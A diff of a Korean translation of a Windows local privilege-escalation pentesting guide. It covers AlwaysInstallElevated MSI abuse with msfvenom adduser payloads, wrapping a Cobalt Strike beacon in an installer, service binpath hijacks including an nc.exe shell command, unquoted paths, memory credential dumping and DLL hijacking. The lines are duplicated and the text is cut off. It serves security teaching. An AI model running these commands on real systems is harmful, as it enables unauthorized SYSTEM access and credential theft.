Third-Party Auto-Updaters and Agent IPC (local privesc) + +많은 엔터프라이즈 에이전트는 localhost IPC surface와 권한 있는 업데이트 채널을 노출합니다. enrollment를 공격자 서버로 강제할 수 있고 updater가 rogue root CA를 신뢰하거나 서명 검증이 약하면, 로컬 사용자는 SYSTEM 서비스가 설치하는 악성 MSI를 전달할 수 있습니다. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here: + + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} ## KrbRelayUp -Windows **domain** 환경에서 특정 조건이 충족될 때 **로컬 권한 상승** 취약점이 존재합니다. 이 조건에는 **LDAP signing이 강제되지 않는** 환경, 사용자가 **Resource-Based Constrained Delegation (RBCD)** 를 구성할 수 있는 자체 권한(self-rights)을 보유한 경우, 그리고 사용자가 도메인 내에 컴퓨터 계정을 생성할 수 있는 능력이 포함됩니다. 이 **요구사항들**은 **기본 설정**으로도 충족된다는 점에 유의해야 합니다. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. -해당 **exploit은** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)에서 확인하세요. +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -공격 흐름에 대한 자세한 내용은 다음을 참조하세요: [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** 이 두 레지스트리 항목이 **enabled** 되어 있다면(값이 **0x1**), 모든 권한 수준의 사용자는 `*.msi` 파일을 NT AUTHORITY\\**SYSTEM** 권한으로 **install**(실행)할 수 있습니다. +**만약** 이 2개의 레지스트리 항목이 **활성화되어** (값이 **0x1**) 있다면, 모든 권한의 사용자는 `*.msi` 파일을 NT AUTHORITY\\**SYSTEM**로 **설치**(실행)할 수 있습니다. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -222,48 +232,48 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** +meterpreter 세션이 있다면 이 기술을 모듈 **`exploit/windows/local/always_install_elevated`**로 자동화할 수 있습니다. ### PowerUP -Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access): +power-up의 `Write-UserAddMSI` 명령을 사용해 현재 디렉터리에 권한 상승용 Windows MSI 바이너리를 생성하세요. 이 스크립트는 사용자/그룹 추가를 묻는 사전 컴파일된 MSI 설치 파일을 작성합니다(따라서 GIU access가 필요합니다): ``` Write-UserAddMSI ``` -Just execute the created binary to escalate privileges. +생성된 바이너리를 실행하면 권한 상승이 가능합니다. ### MSI Wrapper -이 튜토리얼을 읽어 MSI wrapper를 만드는 방법을 배우세요. `.bat` 파일을 래핑할 수 있다는 점에 유의하세요 — 단순히 명령줄을 실행하려는 경우에만 해당됩니다. +이 튜토리얼을 읽어 MSI 래퍼를 만드는 방법을 배우세요. **.bat** 파일은 **그냥** **명령줄**을 **실행**하려는 경우 래핑할 수 있습니다. {{#ref}} msi-wrapper.md {{#endref}} -### Create MSI with WIX +### WIX로 MSI 생성 {{#ref}} create-msi-with-wix.md {{#endref}} -### Create MSI with Visual Studio +### Visual Studio로 MSI 생성 -- **Cobalt Strike** 또는 **Metasploit**를 사용해 `C:\privesc\beacon.exe`에 **new Windows EXE TCP payload**를 생성하세요. -- Visual Studio를 열고, **Create a new project**를 선택한 뒤 검색 상자에 "installer"를 입력하세요. **Setup Wizard** 프로젝트를 선택하고 **Next**를 클릭하세요. -- 프로젝트 이름을 **AlwaysPrivesc**처럼 지정하고, 위치는 **`C:\privesc`**로 설정하세요. **place solution and project in the same directory**를 선택하고 **Create**를 클릭하세요. -- 계속 **Next**를 클릭하여 4단계 중 3단계(choose files to include)에 도달하세요. **Add**를 클릭하고 방금 생성한 Beacon payload를 선택한 다음 **Finish**를 클릭하세요. -- Solution Explorer에서 **AlwaysPrivesc** 프로젝트를 강조 표시하고 **Properties**에서 **TargetPlatform**을 **x86**에서 **x64**로 변경하세요. -- 설치된 앱을 더 정당해 보이게 하기 위해 **Author** 및 **Manufacturer** 같은 다른 속성들을 변경할 수 있습니다. -- 프로젝트를 우클릭하고 **View > Custom Actions**를 선택하세요. -- **Install**를 우클릭하고 **Add Custom Action**을 선택하세요. -- **Application Folder**를 더블클릭하고 **beacon.exe** 파일을 선택한 다음 **OK**를 클릭하세요. 이렇게 하면 설치 프로그램이 실행될 때 곧바로 beacon payload가 실행됩니다. -- **Custom Action Properties**에서 **Run64Bit**를 **True**로 변경하세요. -- 마지막으로 **빌드**하세요. +- Cobalt Strike 또는 Metasploit으로 `C:\privesc\beacon.exe` 경로에 **새 Windows EXE TCP payload**를 생성합니다. +- Visual Studio를 열고, Create a new project를 선택한 다음 검색창에 "installer"를 입력하세요. Setup Wizard 프로젝트를 선택하고 Next를 클릭합니다. +- 프로젝트 이름을 **AlwaysPrivesc**와 같이 지정하고, 위치는 **`C:\privesc`**로 설정한 다음 **place solution and project in the same directory**를 선택하고 **Create**를 클릭합니다. +- Next를 계속 클릭하여 4단계 중 3단계(choose files to include)로 이동합니다. **Add**를 클릭하고 방금 생성한 Beacon payload를 선택한 다음 **Finish**를 클릭합니다. +- **Solution Explorer**에서 **AlwaysPrivesc** 프로젝트를 선택하고 **Properties**에서 **TargetPlatform**을 **x86**에서 **x64**로 변경합니다. +- Author 및 Manufacturer와 같은 다른 속성도 변경할 수 있으며, 이를 통해 설치된 앱이 더 합법적으로 보이게 할 수 있습니다. +- 프로젝트를 우클릭하고 **View > Custom Actions**를 선택합니다. +- **Install**을 우클릭하고 **Add Custom Action**을 선택합니다. +- **Application Folder**를 더블클릭하고 **beacon.exe** 파일을 선택한 후 **OK**를 클릭합니다. 이렇게 하면 설치 프로그램이 실행되면 즉시 beacon payload가 실행되도록 보장됩니다. +- **Custom Action Properties**에서 **Run64Bit**를 **True**로 변경합니다. +- 마지막으로 빌드합니다. - 경고 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`가 표시되면 플랫폼을 x64로 설정했는지 확인하세요. -### MSI Installation +### MSI 설치 악성 `.msi` 파일의 **설치**를 **백그라운드**에서 실행하려면: ``` @@ -275,19 +285,19 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ### 감사 설정 -이 설정은 어떤 항목이 **로그에 기록되는지** 결정하므로 주의해야 합니다. +이 설정들은 무엇이 **로그로 기록되는지**를 결정하므로, 주의해야 합니다. ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding에서는 로그가 어디로 전송되는지 알아두면 좋다 +Windows Event Forwarding의 경우 로그가 어디로 전송되는지 아는 것은 흥미롭습니다. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS**는 도메인에 가입된 컴퓨터의 로컬 Administrator 암호 관리를 위해 설계되었으며, 각 암호가 **고유하고 무작위화되며 정기적으로 갱신**되도록 보장합니다. 이 암호들은 Active Directory에 안전하게 저장되며, ACL을 통해 적절한 권한이 부여된 사용자만 로컬 Administrator 암호를 열람할 수 있습니다. +**LAPS**는 도메인에 가입된 컴퓨터에서 **local Administrator passwords**의 **management**를 위해 설계되었으며, 각 비밀번호가 **unique, randomised, and regularly updated**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 안전하게 저장되며, ACLs를 통해 충분한 권한이 부여된 사용자만 접근하여 승인된 경우 local admin passwords를 볼 수 있습니다. {{#ref}} @@ -296,28 +306,26 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -활성화되어 있으면 **평문 암호가 LSASS에 저장됩니다** (Local Security Authority Subsystem Service).\ +활성화되어 있으면, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA 보호 +### LSA Protection -**Windows 8.1**부터 Microsoft는 Local Security Authority (LSA)에 대한 향상된 보호를 도입하여 신뢰할 수 없는 프로세스가 LSA의 **메모리를 읽거나** 코드를 주입하려는 시도를 **차단**하여 시스템을 더욱 보호했습니다.\ - -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +**Windows 8.1**부터 Microsoft는 Local Security Authority (LSA)에 대한 보호를 강화하여 신뢰할 수 없는 프로세스가 메모리를 **읽으려 하거나** 코드를 주입하려는 시도를 **차단**함으로써 시스템 보안을 강화했습니다.\\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard**는 **Windows 10**에서 도입되었습니다. 그 목적은 기기에 저장된 자격 증명을 pass-the-hash 공격과 같은 위협으로부터 보호하는 것입니다.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard**은 **Windows 10**에 도입되었습니다. 그 목적은 장치에 저장된 credentials를 pass-the-hash 공격과 같은 위협으로부터 보호하는 것입니다.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Cached Credentials +### 캐시된 자격 증명 -**Domain credentials**는 **Local Security Authority** (LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그온 데이터가 등록된 security package에 의해 인증되면, 일반적으로 해당 사용자의 domain credentials가 설정됩니다.\ +**Domain credentials**는 **Local Security Authority** (LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그온 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 해당 사용자에 대한 도메인 자격 증명이 설정됩니다.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT @@ -326,7 +334,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### 사용자 및 그룹 열거 -자신이 속한 그룹 중 흥미로운 권한을 가진 그룹이 있는지 확인하세요. +자신이 속한 그룹 중 주목할 만한 권한을 가진 것이 있는지 확인해야 합니다. ```bash # CMD net users %username% #Me @@ -343,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### 특권 그룹 -만약 당신이 **어떤 특권 그룹에 속해 있다면 권한을 상승시킬 수 있을지도 모릅니다**. 특권 그룹과 이를 악용해 권한을 상승시키는 방법에 대해서는 다음을 참조하세요: +만약 여러분이 **어떤 특권 그룹에 속해 있다면 권한을 상승시킬 수 있습니다**. 특권 그룹과 이를 악용해 권한을 상승시키는 방법은 여기에서 확인하세요: {{#ref}} @@ -352,8 +360,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### 토큰 조작 -**자세히 알아보세요** 이 페이지에서 **token**이 무엇인지: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -다음 페이지를 확인하여 **흥미로운 token에 대해 배우고 이를 악용하는 방법**을 알아보세요: +**자세히 알아보기**: 이 페이지에서 **token**이 무엇인지 확인하세요: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +다음 페이지를 확인하여 **흥미로운 tokens에 대해 배우고** 이를 악용하는 방법을 알아보세요: {{#ref}} @@ -370,7 +378,7 @@ klist sessions dir C:\Users Get-ChildItem C:\Users ``` -### 비밀번호 정책 +### 암호 정책 ```bash net accounts ``` @@ -382,7 +390,7 @@ powershell -command "Get-Clipboard" ### 파일 및 폴더 권한 -무엇보다 먼저, 프로세스를 나열하여 **프로세스의 명령줄에 비밀번호가 있는지 확인하세요**.\ +무엇보다도, 프로세스를 나열할 때 **프로세스의 명령줄에 비밀번호가 포함되어 있는지 확인하세요**.\ 실행 중인 바이너리를 **덮어쓸 수 있는지** 또는 바이너리 폴더에 쓰기 권한이 있어 잠재적인 [**DLL Hijacking attacks**](dll-hijacking/index.html)를 악용할 수 있는지 확인하세요: ```bash Tasklist /SVC #List processes running and services @@ -394,7 +402,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -항상 [**electron/cef/chromium debuggers** 실행 중인지 확인하세요, 이를 악용해 escalate privileges할 수 있습니다](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +항상 [**electron/cef/chromium debuggers**가 실행 중인지 확인하세요, 이를 악용해 권한을 상승시킬 수 있습니다](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **프로세스 바이너리의 권한 확인** ```bash @@ -415,19 +423,19 @@ todos %username%" && echo. ``` ### Memory Password mining -sysinternals의 **procdump**를 사용해 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP와 같은 서비스는 메모리에 **credentials in clear text in memory**를 저장하고 있는 경우가 많습니다. 메모리를 덤프해 해당 credentials를 읽어보세요. +sysinternals의 **procdump**를 사용하여 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP와 같은 서비스는 메모리에 **credentials in clear text in memory**를 가지고 있는 경우가 있으니, 메모리를 덤프해서 credentials를 읽어보세요. ```bash procdump.exe -accepteula -ma ``` ### 취약한 GUI 앱 -**SYSTEM으로 실행되는 애플리케이션은 사용자가 CMD를 spawn하거나 디렉터리를 탐색할 수 있도록 허용할 수 있습니다.** +**SYSTEM 권한으로 실행되는 애플리케이션은 사용자가 CMD를 실행하거나 디렉터리를 탐색할 수 있게 허용할 수 있습니다.** -예: "Windows Help and Support" (Windows + F1)에서 "command prompt"를 검색하고, "Click to open Command Prompt"를 클릭하세요. +예: "Windows Help and Support" (Windows + F1)에서 "command prompt"를 검색하고 "Click to open Command Prompt"를 클릭합니다 ## 서비스 -서비스 목록을 가져오기: +서비스 목록 가져오기: ```bash net start wmic service list brief @@ -436,11 +444,11 @@ Get-Service ``` ### 권한 -서비스에 대한 정보를 얻기 위해 **sc**를 사용할 수 있습니다 +서비스 정보를 얻기 위해 **sc**를 사용할 수 있습니다. ```bash sc qc ``` -각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 **accesschk**를 갖추는 것이 권장됩니다. +각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 이진 파일 **accesschk**를 갖추는 것이 권장됩니다. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -451,29 +459,29 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[XP용 accesschk.exe는 여기에서 다운로드할 수 있습니다](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### 서비스 활성화 -다음과 같은 오류가 발생하는 경우(예: SSDPSRV): +다음 오류가 발생하는 경우(예: SSDPSRV): -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ +_시스템 오류 1058이(가) 발생했습니다._\ +_서비스가 사용 중지되어 있거나 연결된 활성화된 장치가 없기 때문에 시작할 수 없습니다._ -다음을 사용하여 활성화할 수 있습니다 +다음 명령으로 활성화할 수 있습니다 ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **서비스 upnphost가 작동하려면 SSDPSRV에 의존한다는 점을 고려하세요 (XP SP1의 경우)** -**또 다른 우회 방법** 이 문제에 대해서는 다음을 실행하세요: +이 문제에 대한 **또 다른 해결책**은 다음을 실행하는 것입니다: ``` sc.exe config usosvc start= auto ``` ### **서비스 바이너리 경로 수정** -"Authenticated users" 그룹이 서비스에 대해 **SERVICE_ALL_ACCESS** 권한을 가진 경우, 서비스의 실행 바이너리를 수정할 수 있습니다. 바이너리를 수정하고 **sc**를 실행하려면: +해당 서비스에 대해 "Authenticated users" 그룹이 **SERVICE_ALL_ACCESS** 권한을 가진 시나리오에서는 서비스의 실행 바이너리를 수정할 수 있습니다. 수정 및 실행을 위해 **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -486,20 +494,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Privileges can be escalated through various permissions: +권한은 다양한 권한을 통해 상승될 수 있습니다: - **SERVICE_CHANGE_CONFIG**: 서비스 바이너리의 재구성을 허용합니다. -- **WRITE_DAC**: 권한 재구성을 허용하여 서비스 구성 변경이 가능해집니다. -- **WRITE_OWNER**: 소유권 획득과 권한 재구성을 허용합니다. -- **GENERIC_WRITE**: 서비스 구성 변경 기능을 포함합니다. -- **GENERIC_ALL**: 마찬가지로 서비스 구성 변경 기능을 포함합니다. +- **WRITE_DAC**: 권한 재구성을 허용하여 서비스 구성을 변경할 수 있게 합니다. +- **WRITE_OWNER**: 소유권 획득 및 권한 재구성을 허용합니다. +- **GENERIC_WRITE**: 서비스 구성을 변경하는 권한을 포함합니다. +- **GENERIC_ALL**: 마찬가지로 서비스 구성을 변경할 수 있는 권한을 포함합니다. -For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. +이 취약점의 탐지 및 악용에는 _exploit/windows/local/service_permissions_을(를) 사용할 수 있습니다. -### Services binaries weak permissions +### 서비스 바이너리의 약한 권한 -**서비스가 실행하는 바이너리를 수정할 수 있는지** 또는 바이너리가 위치한 폴더에 **쓰기 권한이 있는지** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -서비스에 의해 실행되는 모든 바이너리는 **wmic** (system32가 아님)를 사용해 얻을 수 있으며, **icacls**로 권한을 확인할 수 있습니다: +**서비스에 의해 실행되는 바이너리를 수정할 수 있는지 확인하십시오** 또는 바이너리가 위치한 폴더에 **쓰기 권한이 있는지** 확인하십시오 ([**DLL Hijacking**](dll-hijacking/index.html)). +서비스에 의해 실행되는 모든 바이너리는 **wmic**(system32가 아닌 위치)를 사용하여 얻을 수 있고, 권한은 **icacls**로 확인할 수 있습니다: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -511,10 +519,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### 서비스 레지스트리 수정 권한 +### Services registry modify permissions -서비스 레지스트리를 수정할 수 있는지 확인해야 합니다.\ -다음과 같이 서비스 **레지스트리**에 대한 **권한**을 **확인**할 수 있습니다: +어떤 service registry든 수정할 수 있는지 확인해야 합니다.\ +다음과 같이 service **registry**에 대한 **권한**을 **확인**할 수 있습니다: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,31 +531,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -서비스에서 실행되는 binary를 변경할 수 있으므로 **Authenticated Users** 또는 **NT AUTHORITY\INTERACTIVE**가 `FullControl` 권한을 가지고 있는지 확인해야 합니다. +다음과 같이 **Authenticated Users** 또는 **NT AUTHORITY\INTERACTIVE**가 `FullControl` 권한을 가지고 있는지 확인해야 합니다. 그렇다면 서비스에서 실행되는 바이너리를 변경할 수 있습니다. -실행되는 binary의 Path를 변경하려면: +실행되는 바이너리의 경로를 변경하려면: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory permissions +### 서비스 레지스트리 AppendData/AddSubdirectory 권한 + +레지스트리에 대해 이 권한이 있다면 이는 **해당 레지스트리에서 하위 레지스트리를 생성할 수 있다**는 의미입니다. Windows 서비스의 경우 이는 **임의의 코드를 실행하기에 충분합니다:** -레지스트리에 대해 이 권한이 있으면 **이 레지스트리에서 하위 레지스트리를 생성할 수 있다**는 의미입니다. Windows 서비스의 경우 이것만으로도 **임의의 코드를 실행하기에 충분합니다:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### 따옴표 없는 서비스 경로 -실행 파일의 경로가 따옴표로 묶여 있지 않으면, Windows는 공백 이전의 각 경로 끝을 실행하려고 시도합니다. +실행 파일의 경로가 따옴표로 감싸져 있지 않으면, Windows는 공백 이전의 모든 경로 조각을 차례로 실행하려고 시도합니다. -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +예를 들어 경로 _C:\Program Files\Some Folder\Service.exe_ 의 경우 Windows는 다음을 실행하려고 시도합니다: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -내장 Windows 서비스에 속한 것을 제외하고 인용부호가 없는 모든 서비스 경로를 나열: +내장된 Windows 서비스에 속한 항목을 제외하고, 인용 부호가 없는 모든 서비스 경로를 나열: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -567,19 +576,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**이 취약점을 탐지하고 exploit할 수 있습니다** metasploit으로 다음 모듈을 사용하세요: `exploit/windows/local/trusted\_service\_path` metasploit으로 수동으로 서비스 바이너리를 생성할 수 있습니다: +**탐지 및 악용할 수 있습니다** 이 취약점은 metasploit의 `exploit/windows/local/trusted\_service\_path`로 탐지·악용할 수 있습니다. metasploit로 서비스 바이너리를 수동으로 생성할 수 있습니다: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### 복구 조치 +### 복구 작업 -Windows에서는 서비스가 실패할 경우 수행할 동작을 지정할 수 있습니다. 이 기능은 특정 binary를 가리키도록 구성할 수 있습니다. 이 binary를 교체할 수 있다면 privilege escalation이 가능할 수 있습니다. 자세한 내용은 [official documentation]()을 참조하세요. +Windows에서는 서비스가 실패할 경우 수행할 작업을 지정할 수 있습니다. 이 기능은 특정 binary를 가리키도록 구성할 수 있습니다. 해당 binary를 교체할 수 있다면 privilege escalation이 발생할 수 있습니다. 자세한 내용은 [공식 문서]()를 참조하세요. -## 응용 프로그램 +## 애플리케이션 ### 설치된 애플리케이션 -**binaries의 권한**을 확인하세요(하나를 덮어써서 escalate privileges가 가능할 수 있습니다) 및 **폴더**의 권한도 확인하세요 ([DLL Hijacking](dll-hijacking/index.html)). +**binaries의 권한**(아마도 하나를 덮어써서 privilege escalation이 가능할 수 있습니다) 및 **폴더**의 권한도 확인하세요 ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -590,9 +599,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### 쓰기 권한 -설정 파일 (config file)을 수정하여 특정 파일을 읽을 수 있는지, 또는 Administrator 계정 (schedtasks)에 의해 실행될 바이너리 (binary)를 수정할 수 있는지 확인하세요. +특정 파일을 읽기 위해 일부 config file을 수정할 수 있는지, 또는 Administrator 계정으로 실행될 바이너리(schedtasks)를 수정할 수 있는지 확인하세요. -시스템에서 권한이 약한 폴더/파일을 찾는 한 가지 방법은 다음을 수행하는 것입니다: +시스템에서 취약한 폴더/파일 권한을 찾는 한 가지 방법은 다음과 같습니다: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -617,8 +626,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### 시작 시 실행 -**다른 사용자에 의해 실행될 registry나 binary를 덮어쓸 수 있는지 확인하세요.**\ -**읽어보세요** 그 **다음 페이지**에서 흥미로운 **autoruns locations to escalate privileges**에 대해 더 알아보세요: +**다른 사용자가 실행할 registry 또는 binary를 덮어쓸 수 있는지 확인하세요.**\ +**읽어보세요** **다음 페이지**에서 흥미로운 **autoruns locations to escalate privileges**에 대해 더 알아보세요: {{#ref}} @@ -627,13 +636,13 @@ privilege-escalation-with-autorun-binaries.md ### 드라이버 -가능한 **third party weird/vulnerable** 드라이버를 찾아보세요 +가능한 **타사 이상/취약한** 드라이버를 찾아보세요 ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -만약 driver가 arbitrary kernel read/write primitive(보안에 취약하게 설계된 IOCTL handlers에서 흔함)를 노출한다면, kernel memory에서 직접 SYSTEM token을 훔쳐 권한을 상승시킬 수 있습니다. 단계별 기법은 다음을 참조하세요: +드라이버가 arbitrary kernel read/write primitive를 노출(잘못 설계된 IOCTL handlers에서 흔함)하면, kernel memory에서 SYSTEM token을 직접 훔쳐 권한을 상승시킬 수 있습니다. 단계별 기법은 다음을 참조하세요: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -642,13 +651,13 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -만약 **write permissions inside a folder present on PATH**가 있다면, 프로세스에 의해 로드되는 DLL을 hijack하여 **escalate privileges**할 수 있습니다. +PATH에 있는 폴더에 **쓰기 권한**이 있으면 프로세스가 로드하는 DLL을 가로채 **권한 상승**을 할 수 있습니다. -PATH 내부의 모든 폴더 권한을 확인하세요: +PATH에 있는 모든 폴더의 권한을 확인하세요: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -이 검사를 악용하는 방법에 대한 자세한 정보: +이 검사를 악용하는 방법에 대한 자세한 내용은 다음을 참조하세요: {{#ref}} @@ -667,19 +676,19 @@ net share #Check current shares ``` ### hosts file -hosts file에 하드코딩된 다른 알려진 컴퓨터가 있는지 확인하세요. +hosts file에 하드코딩된 다른 알려진 컴퓨터가 있는지 확인하세요 ``` type C:\Windows\System32\drivers\etc\hosts ``` -### 네트워크 인터페이스 & DNS +### 네트워크 인터페이스 및 DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### 열린 포트 -외부에서 **제한된 서비스**가 있는지 확인하세요 +외부에서 **제한된 서비스**를 확인하세요 ```bash netstat -ano #Opened ports? ``` @@ -693,7 +702,7 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### 방화벽 규칙 +### Firewall Rules [**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(규칙 나열, 규칙 생성, 끄기, 끄기...)** @@ -704,16 +713,16 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -`bash.exe` 바이너리는 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`에서도 찾을 수 있습니다 +바이너리 `bash.exe`는 또한 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`에서 찾을 수 있습니다. -If you get root user you can listen on any port (the first time you use `nc.exe` to listen on a port it will ask via GUI if `nc` should be allowed by the firewall). +root user를 얻으면 어떤 포트에서든 리스닝할 수 있습니다(처음으로 `nc.exe`로 